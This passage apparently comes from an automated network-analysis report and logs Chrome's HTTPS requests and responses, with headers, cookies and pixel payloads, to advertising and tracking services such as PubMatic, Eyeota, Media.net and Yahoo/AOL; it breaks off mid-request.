KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:16 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:15 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1716503715; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:15 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.6	50542	198.47.127.19	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	2879	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=20215826&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:16 UTC	585	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=5; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=0:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Date: Thu, 23 May 2024 22:35:16 GMT Content-Length: 47 Connection: close
2024-05-23 22:35:16 UTC	47	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 50 75 67 4d 61 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 66 61 6c 73 65 2c 20 66 61 6c 73 65 2c 20 74 72 75 65 29 3b Data Ascii: PubMatic.PugMasterCallback(false, false, true);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.6	50528	3.121.27.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	712	OUT	GET /pixel/bounce/?gdpr=0&gdpr_consent=&pid=3b2cb90&t=gif&uid=9feb68017206b52a HTTP/1.1 Host: ps.eyeota.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mako_uid=18fa798132e-20f10000010f4f61; SERVERID=20321~DM
2024-05-23 22:35:17 UTC	620	IN	HTTP/1.1 302 Found Connection: close Set-Cookie: SERVERID=20321~DM; Domain=eyeota.net; Path=/; Expires=Thu, 23 May 2024 22:45:16 GMT; Secure; SameSite=None; P3P: CP="CURa ADMa DEVa TAIo PSAo PSDo OUR SAMo BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", policyref="http://ps.eyeota.net/w3c/p3p.xml" Location: https://cm.g.doubleclick.net/pixel?google_nid=eye&google_cm&google_sc&google_hm=MnpRWjVhTWtJRzIwS1dBVTl5WWNUTTM5MWk5eTFmUDFqaGFFRXlvTkFFODQ&gdpr=0&gdpr_consent=&uid=1&bid=gdo9o51&newuser=1&dc_rc=1&dc_mr=5&dc_orig=3b2cb90&&referrer_pid=3b2cb90 Content-Length: 0 Date: Thu, 23 May 2024 22:35:16 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.6	50536	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1012	OUT	GET /cksync.php?cs=1&type=crt&ovsid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1
2024-05-23 22:35:17 UTC	850	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-c=1f5a2429-5a10-4b50-95d0-3435c16ad1ac~~1;Expires=Sat, 22 Jun 2024 22:35:16 GMT;path=/;domain=.media.net; sameSite=none; secure=true Set-Cookie: data-c-ts=1716503716;Expires=Sat, 22 Jun 2024 22:35:16 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:16 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:16 GMT Connection: close
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.6	50534	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	969	OUT	GET /cksync.php?type=mf&ovsid=064dd624-3223-4a30-af5d-c38630257b17&cs=1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1
2024-05-23 22:35:17 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mf=064dd624-3223-4a30-af5d-c38630257b17~~1;Expires=Fri, 23 May 2025 22:35:16 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:16 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:16 GMT Connection: close
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.6	50533	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1030	OUT	GET /cksync.php?cs=8&vsid=3595052986404735000V10&type=dxu&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=K0DIBbMP1Sah1H5 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1
2024-05-23 22:35:17 UTC	624	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-xu=K0DIBbMP1Sah1H5~~8;Expires=Thu, 22 May 2025 22:35:16 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:17 GMT Connection: close
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.6	50538	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1018	OUT	GET /cksync.php?cs=1&vsid=%7BMedia.net_User_id%7D&type=rbh&ovsid=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=medianet HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1
2024-05-23 22:35:17 UTC	653	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-rbh=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU~~1;Expires=Fri, 23 May 2025 22:35:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:17 GMT Connection: close
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.6	50531	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1590	OUT	POST /p?s=1197805788&t=tamRjG0PQEN40UJb,0.921666532109241&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03234%04_E%03dwell%04_ts%031716503712%04_ms%03248%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:17 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.6	50529	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1592	OUT	POST /p?s=1197805788&t=H2uT2F5BCEqfKJYm,0.3178655006560829&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03248%04_E%03dwell%04_ts%031716503712%04_ms%03258%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:17 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.6	50540	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1593	OUT	POST /p?s=1197803361&t=FVi6wkO6SsK52Bqi,0.05776911193977208&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503705%04A_prems%03691%04_E%03dwell%04_ts%031716503705%04_ms%03860%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:17 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.6	50537	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1595	OUT	POST 